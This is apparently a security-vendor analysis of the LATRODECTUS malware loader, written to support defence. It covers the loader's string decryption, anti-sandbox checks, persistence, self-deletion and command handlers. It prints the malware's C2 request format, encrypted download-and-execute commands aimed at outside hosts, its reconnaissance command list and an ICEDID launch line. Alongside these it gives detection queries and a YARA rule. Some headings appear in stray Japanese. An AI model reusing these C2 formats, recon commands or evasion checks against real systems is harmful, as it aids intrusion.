Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID

LATRODECTUS at a glance

First discovered by Walmart researchers in October of 2023, LATRODECTUS is a malware loader gaining popularity among cybercriminals. While this is considered a new family, there is a strong link between LATRODECTUS and ICEDID due to behavioral and developmental similarities, including a command handler that downloads and executes encrypted payloads like ICEDID. Proofpoint and Team Cymru built upon this connection to discover a strong link between the network infrastructure used by both the operators of ICEDID and LATRODECTUS.

LATRODECTUS offers a comprehensive range of standard capabilities that threat actors can utilize to deploy further payloads, conducting various activities after initial compromise. The code base isn’t obfuscated and contains only 11 command handlers focused on enumeration and execution. This type of loader represents a recent wave observed by our team such as PIKABOT, where the code is more lightweight and direct with a limited number of handlers.

This article will focus on LATRODECTUS itself, analyzing its most significant features and sharing resources for addressing this financially impactful threat.

重要なポイント

• Initially discovered by Walmart researchers last year, LATRODECTUS continues to gain adoption among recent financially-motivated campaigns
• LATRODECTUS, a possible replacement for ICEDID shares similarity to ICEDID including a command handler to execute ICEDID payloads
• We observed new event handlers (process discovery, desktop file listing) since its inception and integration of a self-delete technique to delete running files
• Elastic Security provides a high degree of capability through memory signatures, behavioral rules, and hunting opportunities to respond to threats like LATRODECTUS

LATRODECTUS campaign overview

Beginning early March of 2024, Elastic Security Labs observed an increase in email campaigns delivering LATRODECTUS. These campaigns typically involve a recognizable infection chain involving oversized JavaScript files that utilize WMI’s ability to invoke msiexec.exe and install a remotely-hosted MSI file, remotely hosted on a WEBDAV share.

With major changes in the loader space during the past year, such as the QBOT takedown and ICEDID dropping off, we are seeing new loaders such as PIKABOT and LATRODECTUS have emerged as possible replacements.

LATRODECTUS analysis

Our LATRODECTUS sample comes initially packed with file information masquerading as a component to Bitdefender’s kernel-mode driver (TRUFOS.SYS), shown in the following image.

In order to move forward with malware analysis, the sample must be unpacked manually or via an automatic unpacking service such as UnpacMe.

LATRODECTUS is a DLL with 4 different exports, and each export is assigned the same export address.

文字列の難読化

All of the strings within LATRODECTUS are protected using a straightforward algorithm on the encrypted bytes and applying a transformation by performing arithmetic and bitwise operations. The initial report published in 2023 detailed a PRNG algorithm that was not observed in our sample, suggesting continuous development of this loader. Below is the algorithm implemented in Python using our nightMARE framework:

def decrypt_string(encrypted_bytes: bytes) -> bytes:
    x = cast.u32(encrypted_bytes[:4])
    y = cast.u16(encrypted_bytes[4:6])
    byte_size = cast.u16(cast.p32(x ^ y)[:2])
    decoded_bytes = bytearray(byte_size)

    for i, b in enumerate(encrypted_bytes[6 : 6 + byte_size]):
        decoded_bytes[i] = ((x + i + 1) ^ b) % 256

    return bytes(decoded_bytes)

Runtime API

LATRODECTUS obfuscates the majority of its imports until runtime. At the start of the program, it queries the PEB in combination with using a CRC32 checksum to resolve kernel32.dll and ntdll.dll modules and their functions. In order to resolve additional libraries such as user32.dll or wininet.dll, the malware takes a different approach performing a wildcard search (*.dll) in the Windows system directory. It retrieves each DLL filename and passes them directly to a CRC32 checksum function.

Anti-analysis

When all the imports are resolved, LATRODECTUS performs several serial anti-analysis checks. The first monitors for a debugger by looking for the BeingDebugged flag inside the Process Environment Block (PEB). If a debugger is identified, the program terminates.

In order to avoid sandboxes or virtual machines that may have a low number of active processes, two validation checks are used to combine the number of running processes with the OS product version.

In order to account for the major differences between Windows OS versions, the developer uses a custom enum based on the major/minor version, and build numbers within Windows.

The two previous conditions translate to:

• LATRODECTUS will exit if the number of processes is less than 75 and the OS version is a recent build such as Windows 10, Windows Server 2016, or Windows 11
• LATRODECTUS will exit if the number of processes is less than 50 and the OS version is an older build such as Windows Server 2003 R2, Windows XP, Windows 2000, Windows 7, Windows 8, or Windows Server 2012/R2

After the sandbox check, LATRODECTUS verifies if the current process is running under WOW64, a subsystem of Windows operating systems that allows for 32-bit applications to run on 64-bit systems. If true (running as a 32-bit application on a 64-bit OS), the malware will exit.

The last check is based on verifying the MAC address via the GetAdaptersInfo() call from iphlpapi.dll. If there is no valid MAC Address, the malware will also terminate.

ミューテックス

This malware uses the string runnung as the mutex to prevent re-infection on the host, which may be an accidental typo on the part of developers.

Hardware ID

After the mutex creation, LATRODECTUS will generate a hardware ID that is seeded from the volume serial number of the machine in combination with multiplying a hard-coded constant (0x19660D).

Campaign ID

At this stage, the decrypted campaign name (Littlehw) from our sample is used as a seed passed into a Fowler–Noll–Vo hashing function. This will produce a hash that is used by the actor to track different campaigns and associated victim machines.

Setup / persistence

The malware will generate a folder path using a configuration parameter, these determine the location where LATRODECTUS will be dropped on disk, such as the following directories:

• AppData
• Desktop
• Startup
• Personal
• Local\AppData

Our sample was configured with the AppData location using a hard-coded directory string Custom_update along with a hardcoded filename Update_ concatenated with digits seeded from the volume serial number. Below is the full file path inside our VM:

C:\Users\REM\AppData\Roaming\Custom_update\Update_88d58563.dll

The malware will check for an existing file AppData\Roaming\Custom_update\update_data.dat to read from, and if the file does not exist it will create the directory before writing a copy of itself in the directory.

After the file is copied, LATRODECTUS retrieves two C2 domains from the global configuration, using the previously-described string decryption function.

Before the main thread is executed for command dispatching, LATRODECTUS sets up a scheduled task for persistence using the Windows Component Object Model (COM).

In our sample, the task name is hardcoded as Updater and scheduled to execute upon successful logon.

Self-deletion

Self-deletion is one noteworthy technique incorporated by LATRODECTUS. It was discovered by Jonas Lykkegaard and implemented by Lloyd Davies in the delete-self-poc repo. The technique allows LATRODECTUS to delete itself while the process is still running using an alternate data stream.

Elastic Security Labs has seen this technique adopted in malware such as the ROOK ransomware family. The likely objective is to hinder incident response processes by interfering with collection and analysis. The compiled malware contains a string (:wtfbbq) present in the repository.

This technique is observed at the start of the infection as well as when the malware performs an update using event handler #15. Elastic Security Labs has created a CAPA rule to help other organizations identify this behavior generically when analyzing various malware.

通信

LATRODECTUS encrypts its requests using base64 and RC4 with a hardcoded password of 12345. The first POST request over HTTPS that includes victim information along with configuration details, registering the infected system.

POST https://aytobusesre.com/live/ HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
Host: aytobusesre.com
Content-Length: 256
Cache-Control: no-cache

M1pNDFh7flKrBaDJqAPvJ98BTFDZdSDWDD8o3bMJbpmu0qdYv0FCZ0u6GtKSN0g//WHAS2npR/HDoLtIKBgkLwyrIh/3EJ+UR/0EKhYUzgm9K4DotfExUiX9FBy/HeV7C4PgPDigm55zCU7O9kSADMtviAodjuRBVW3DJ2Pf5+pGH9SG1VI8bdmZg+6GQFpcFTGjdWVcrORkxBjCGq3Eiv2svt3+ZFIN126PcvN95YJ0ie1Puljfs3wqsW455V7O

Below is an example of the decrypted contents sent in the first request:

counter=0&type=1&guid=249507485CA29F24F77B0F43D7BA&os=6&arch=1&username=user&group=510584660&ver=1.1&up=4&direction=aytobusesre.com&mac=00:0c:24:0e:29:85;&computername=DESKTOP-3C4ILHO&domain=-

Each request is pipe-delimited by an object type, integer value, and corresponding argument. There are 4 object types which route the attacker controlled commands (CLEARURL, URLS, COMMAND, ERROR).

The main event handlers are passed through the COMMAND object type with the handler ID and their respective argument.

COMMAND|12|http://www.meow123.com/test

The CLEARURL object type is used to delete any configured domains. The URLS object type allows the attacker to swap to a new C2 URL. The last object type, ERROR, is not currently configured.

ボット機能

LATRODECTUS’s core functionality is driven through its command handlers. These handlers are used to collect information from the victim machine, provide execution capabilities as well as configure the implant. We have seen two additional handlers (retrieve processes, desktop listing) added since the initial publication which may be a sign that the codebase is still active and changing.

Desktop listing - command ID (2)

This command handler will retrieve a list of the contents of the user’s desktop, which the developer refers to as desklinks. This data will be encrypted and appended to the outbound beacon request. This is used for enumerating and validating victim environments quickly.

Example request:

counter=0&type=1&guid=249507485CA29F24F77B0F43D7BA&os=6&arch=1&username=user&group=510584660&ver=1.1&up=4&direction=aytobusesre.com&desklinks=["OneDrive.lnk","OneNote.lnk","PowerPoint.lnk","Notepad++.lnk","Excel.lnk","Google Chrome.lnk","Snipping Tool.lnk","Notepad.lnk","Paint.lnk"]

Process ancestry - command ID (3)

This event handler is referenced as proclist by the developer where it collects the entire running process ancestry from the infected machine via the CreateToolhelp32Snapshot API.

Like security researchers, malware authors are interested in process parent/child relationships for decision-making. The authors of LATRODECTUS even collect information about process grandchildren, likely to validate different compromised environments.

Collect system information - command ID (4)

This command handler creates a new thread that runs the following system discovery/enumeration commands, each of which is a potential detection opportunity:

C:\Windows\System32\cmd.exe /c ipconfig /all
C:\Windows\System32\cmd.exe /c systeminfo
C:\Windows\System32\cmd.exe /c nltest /domain_trusts
C:\Windows\System32\cmd.exe /c nltest /domain_trusts /all_trusts
C:\Windows\System32\cmd.exe /c net view /all /domain
C:\Windows\System32\cmd.exe /c net view /all
C:\Windows\System32\cmd.exe /c net group "Domain Admins" /domain
C:\Windows\System32\wbem\wmic.exe /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List
C:\Windows\System32\cmd.exe /c net config workstation
C:\Windows\System32\cmd.exe /c wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed
C:\Windows\System32\cmd.exe /c whoami /groups

Each output is placed into URI with corresponding collected data:

&ipconfig=
&systeminfo=
&domain_trusts=
&domain_trusts_all=
&net_view_all_domain=
&net_view_all=
&net_group=
&wmic=
&net_config_ws=
&net_wmic_av=
&whoami_group=

Download and execute PE - command ID (12)

This handler downloads a PE file from the C2 server then writes the content to disk with a randomly generated file name, then executes the file.

Below is an example in our environment using this handler:

Download and execute DLL - command ID (13)

This command handler downloads a DLL from C2 server, writes it to disk with a randomly generated file name, and executes the DLL using rundll32.exe.

Download and execute shellcode - command (14)

This command handler downloads shellcode from the C2 server via InternetReadFile, allocates and copies the shellcode into memory then directly calls it with a new thread pointing at the shellcode.

Update / restart - command ID (15)

This handler appears to perform a binary update to the malware where it’s downloaded, the existing thread/mutex is notified, and then released. The file is subsequently deleted and a new binary is downloaded/executed before terminating the existing process.

Terminate - command ID (17)

This handler will terminate the existing LATRODECTUS process.

Download and execute hosted ICEID payload - command ID (18)

This command handler downloads two ICEDID components from a LATRODECTUS server and executes them using a spawned rundll32.exe process. We haven’t personally observed this being used in-the-wild, however.

The handler creates a folder containing two files to the AppData\Roaming\ directory. These file paths and filenames are seeded by a custom random number generator which we will review in the next section. In our case, this new folder location is:

C:\Users\REM\AppData\Roaming\-632116337

It retrieves a file (test.dll) from the C2 server, the standard ICEDID loader, which is written to disk with a randomly -generated file name (-456638727.dll).

LATRODECTUS will then perform similar steps by generating a random filename for the ICEDID payload (1431684209.dat). Before performing the download, it will set-up the arguments to properly load ICEDID. If you have run into ICEDID in the past, this part of the command-line should look familiar: it’s used to call the ICEDID export of the loader, while passing the relative path to the encrypted ICEDID payload file.

init -zzzz="-632116337\1431684209.dat"

LATRODECUS initiates a second download request using a hard-coded URI (/files/bp.dat) from the configured C2 server, which is written to a file (1431684209.dat). Analyzing the bp.dat file, researchers identified it as a conventional encrypted ICEDID payload, commonly referenced as license.dat.

After decrypting the file, malware researchers noted a familiar 129 byte sequence of junk bytes prepended to the file followed by the custom section headers.

Our team was able to revisit prior tooling and successfully decrypt this file, enabling us to rebuild the PE (ICEDID).

At this point, the ICEDID loader and encrypted payload have been downloaded to the same folder.

These files are then executed together using rundll32.exe via CreateProcessW with their respective arguments. Below is the observed command-line:

rundll32.exe C:\Users\REM\AppData\Roaming\-632116337\-456638727.dll,init -zzzz="-632116337\1431684209.dat"

Scanning the rundll32.exe child process spawned by LATRODECTUS with our ICEDID YARA rule also indicates the presence of the ICEDID.

Beacon timeout - command ID (19)

LATRODECTUS supports jitter for beaconing to C2. This can make it harder for defenders to detect via network sources due to randomness this introduces to beaconing intervals.

In order to calculate the timeout, it generates a random number by seeding a combination of the user’s cursor position on the screen multiplied by the system’s uptime (GetTickCount). This result is passed as a parameter to RtlRandomEx.

Reset counter - command ID (20)

This command handler will reset the request counter that is passed on each communication request. For example, on the third callback it is filled with 3 here. With this function, the developer can reset the count starting from 0.

counter=3&type=4&guid=638507385

LATRODECTUS / ICEDID connection

There definitely is some kind of development connection or working arrangement between ICEDID and LATRODECTUS. Below are some of the similarities observed:

• Same enumeration commands in the system discovery handler
• The DLL exports all point to same export function address, this was a common observation with ICEDID payloads
• C2 data is concatenated together as variables in the C2 traffic requests
• The bp.dat file downloaded from handler (#18) is used to execute the ICEDID payload via rundll32.exe
• The functions appear to be similarly coded

Researchers didn’t conclude that there was a clear relationship between the ICEDID and LATRODECTUS families, though they appear at least superficially affiliated. ICEDID possesses more mature capabilities, like those used for data theft or the BackConnect module, and has been richly documented over a period of several years. One hypothesis being considered is that LATRODECTUS is being actively developed as a replacement for ICEDID, and the handler (#18) was included until malware authors were satisfied with LATRODECTUS’ capabilities.

Sandboxing LATRODECTUS

To evaluate LATRODECTUS detections, we set up a Flask server configured with the different handlers to instruct an infected machine to perform various actions in a sandbox environment. This method provides defenders with a great opportunity to assess the effectiveness of their detection and logging tools against every capability. Different payloads like shellcode/binaries can be exchanged as needed.

As an example, for the download and execution of a DLL (handler #13), we can provide the following request structure (object type, handler, arguments for handler) to the command dispatcher:

COMMAND|13|http://www.meow123.com/dll, ShowMessage

The following example depicts the RC4-encrypted string described earlier, which has been base64-encoded.

E3p1L21QSBOqEKjYrBKiLNZJTk7KZn+HWn0p2LQfOLWCz/py4VkkAxSXXdnDd39p2EU=

Using the following CyberChef recipe, analysts can generate encrypted command requests:

Using the actual malware codebase and executing these different handlers using a low-risk framework, defenders can get a glimpse into the events, alerts, and logs recorded by their security instrumentation.

Detecting LATRODECTUS

The following Elastic Defend protection features trigger during the LATRODECTUS malware infection process:

Below are the prebuilt MITRE ATT&CK-aligned rules with descriptions:

The following list of hunts and detection queries can be used to detect LATRODECTUS post-exploitation commands focused on execution:

Rundll32 Download PE/DLL (command handlers #12, #13 and #18):

sequence by process.entity_id with maxspan=1s
[file where event.action == "creation" and process.name : "rundll32.exe" and 
 /* PE file header dropped to the InetCache folder */
file.Ext.header_bytes : "4d5a*" and file.path : "?:\\Users\\*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*"]
[network where process.name : "rundll32.exe" and 
   event.action : ("disconnect_received", "connection_attempted") and 
   /* network disconnect activity to a public Ip address */
   not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", "FF00::/8", "192.168.0.0/16")]

Below is an ES|QL hunt to look for long-term and/or high count of network connections by rundll32 to a public IP address (which is uncommon):

from logs-endpoint.events.network-*
| where host.os.family == "windows" and event.category == "network" and
 network.direction == "egress" and process.name == "rundll32.exe" and
/* excluding private IP ranges */
 not CIDR_MATCH(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1","FE80::/10", "FF00::/8")
| keep source.bytes, destination.address, process.name, process.entity_id, process.pid, @timestamp, host.name
/* calc total duration and the number of connections per hour */
| stats count_connections = count(*), start_time = min(@timestamp), end_time = max(@timestamp) by process.entity_id, process.pid, destination.address, process.name, host.name
| eval duration = TO_DOUBLE(end_time)-TO_DOUBLE(start_time), duration_hours=TO_INT(duration/3600000), number_of_con_per_hour = (count_connections / duration_hours)
| keep host.name, destination.address, process.name, process.pid, duration, duration_hours, number_of_con_per_hour, count_connections
| where count_connections >= 100

Below is a screenshot of Elastic Defend triggering on the LATRODECTUS memory signature:

ヤラ

Elastic Security has created YARA rules to identify LATRODECTUS:

rule Windows_Trojan_LATRODECTUS_841ff697 {
    meta:
        author = "Elastic Security"
        creation_date = "2024-03-13"
        last_modified = "2024-04-05"
        license = "Elastic License v2"
         os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.LATRODECTUS"
        reference_sample = "aee22a35cbdac3f16c3ed742c0b1bfe9739a13469cf43b36fb2c63565111028c"


    strings:
        $Str1 = { 48 83 EC 38 C6 44 24 20 73 C6 44 24 21 63 C6 44 24 22 75 C6 44 24 23 62 C6 44 24 24 }
        $crc32_loadlibrary = { 48 89 44 24 40 EB 02 EB 90 48 8B 4C 24 20 E8 ?? ?? FF FF 48 8B 44 24 40 48 81 C4 E8 02 00 00 C3 }
        $delete_self = { 44 24 68 BA 03 00 00 00 48 8B 4C 24 48 FF 15 ED D1 00 00 85 C0 75 14 48 8B 4C 24 50 E8 ?? ?? 00 00 B8 FF FF FF FF E9 A6 00 }
        $Str4 = { 89 44 24 44 EB 1F C7 44 24 20 00 00 00 00 45 33 C9 45 33 C0 33 D2 48 8B 4C 24 48 FF 15 7E BB 00 00 89 44 24 44 83 7C 24 44 00 75 02 EB 11 48 8B 44 24 48 EB 0C 33 C0 85 C0 0F 85 10 FE FF FF 33 }
        $handler_check = { 83 BC 24 D8 01 00 00 12 74 36 83 BC 24 D8 01 00 00 0E 74 2C 83 BC 24 D8 01 00 00 0C 74 22 83 BC 24 D8 01 00 00 0D 74 18 83 BC 24 D8 01 00 00 0F 74 0E 83 BC 24 D8 01 00 00 04 0F 85 44 02 00 00 }
        $hwid_calc = { 48 89 4C 24 08 48 8B 44 24 08 69 00 0D 66 19 00 48 8B 4C 24 08 89 01 48 8B 44 24 08 8B 00 C3 }
        $string_decrypt = { 89 44 24 ?? 48 8B 44 24 ?? 0F B7 40 ?? 8B 4C 24 ?? 33 C8 8B C1 66 89 44 24 ?? 48 8B 44 24 ?? 48 83 C0 ?? 48 89 44 24 ?? 33 C0 66 89 44 24 ?? EB ?? }
        $campaign_fnv = { 48 03 C8 48 8B C1 48 39 44 24 08 73 1E 48 8B 44 24 08 0F BE 00 8B 0C 24 33 C8 8B C1 89 04 24 69 04 24 93 01 00 01 89 04 24 EB BE }
    condition:
        2 of them
}

観測

この研究では、次の観測量について議論しました。

参照資料

上記の研究を通じて、以下のことが参照されました。

• https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39
• https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice

Tooling

String decryption and IDA commenting tool